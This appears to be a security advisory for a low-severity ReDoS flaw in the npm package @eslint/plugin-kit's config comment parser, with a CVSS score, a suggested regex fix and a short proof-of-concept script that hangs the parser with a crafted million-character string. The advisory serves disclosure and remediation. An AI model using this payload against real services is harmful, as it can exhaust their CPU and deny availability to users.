PT-2025-31160 · Npm · @Eslint/Plugin-Kit

Published

2025-07-18

·

Updated

2025-07-18

CVSS v4.0

2.3

Low

VectorAV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Summary

The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.

Details

The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].

PoC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

const str = `${"A".repeat(1000000)}?: 1 B: 2`;

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")

// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage

Impact

This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.

Fix

DoS

Weakness Enumeration

CWE-1333

Related Identifiers

GHSA-XFFM-G5W8-QVG7

Affected Products

@Eslint/Plugin-Kit